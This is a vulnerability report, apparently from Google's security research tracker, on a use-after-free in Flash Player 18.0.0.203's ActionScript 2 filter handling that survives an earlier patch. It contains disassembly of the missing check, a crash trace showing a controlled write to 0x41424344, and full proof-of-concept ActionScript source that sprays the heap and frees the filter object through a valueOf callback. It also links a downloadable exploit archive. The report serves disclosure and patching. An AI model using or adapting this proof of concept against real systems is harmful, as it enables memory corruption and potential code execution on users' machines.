Source: https://code.google.com/p/google-security-research/issues/detail?id=484&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=508072]
VULNERABILITY DETAILS
Copy Paste of Issue 480496
VERSION
Chrome Version: N/A yet, Flash 18.0.0.203
Operating System: [Win7 x64 SP1]
REPRODUCTION CASE
Flash 18.0.0.203 patched Issue 480496 by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone):
.text:004D71DA loc_4D71DA:
.text:004D71DA and ecx, 0FFFFFFF8h
.text:004D71DD call xAS2_getArrayLength
.text:004D71E2 test eax, eax
.text:004D71E4 jle short loc_4D725D
.text:004D71E6 mov ecx, [esp+8+arg_C]
.text:004D71EA mov eax, [ecx+94h]
.text:004D71F0 test eax, 0FFFFFFFEh
.text:004D71F5 jz short loc_4D7200
.text:004D71F7 and eax, 0FFFFFFFEh
.text:004D71FA cmp dword ptr [eax+28h], 0 ; here we check whether the object has been deleted or not
.text:004D71FE jnz short loc_4D720B
.text:004D7200
.text:004D7200 loc_4D7200:
.text:004D7200 mov ecx, dword_E51A40
.text:004D7206 call sub_968A00 ; and in that case we suicide
Unfortunately they forget to do that check after the second Array.length call:
.text:004D721D loc_4D721D:
.text:004D721D and eax, 0FFFFFFF8h
.text:004D7220 push edi
.text:004D7221 mov edi, eax
.text:004D7223 mov ecx, edi
.text:004D7225 xor esi, esi
.text:004D7227 call xAS2_getArrayLength ; here we can still execute a script and delete the filters...
.text:004D722C test eax, eax
.text:004D722E jle short loc_4D725C
Should crash that way:
CPU Disasm
Address Hex dump Command Comments
004CE27F 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4]
004CE282 8942 04 MOV DWORD PTR DS:[EDX+4],EAX ; write a pointer to 0x41424344
004CE285 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4]
004CE288 8950 08 MOV DWORD PTR DS:[EAX+8],EDX
004CE28B FF41 08 INC DWORD PTR DS:[ECX+8]
004CE28E 8941 04 MOV DWORD PTR DS:[ECX+4],EAX
004CE291 C2 0400 RETN 4
004CE294 FF41 08 INC DWORD PTR DS:[ECX+8]
***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "4"
//It's because Flash CS5.5 does not allow naming a property with a numeral
import flash.filters.GlowFilter;
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0x41424344
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
a1[i].tabStops = a2
}
a1[0xFF].tabStops = []
function f() {
_global.mc.createTextField("tf",1,1,2,3,4)
a1[0xFE].tabStops = []
a1[0xFD].tabStops = []
for (var i = 0x100; i<0x200;i++) {
_global.a1[i].tabStops = _global.a2
}
}
_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2
var oCounter:Object = new Object()
oCounter.valueOf = function () {
_global.counter += 1
if (_global.counter == 4) f()
return 10;
}
var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o;
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37884.zip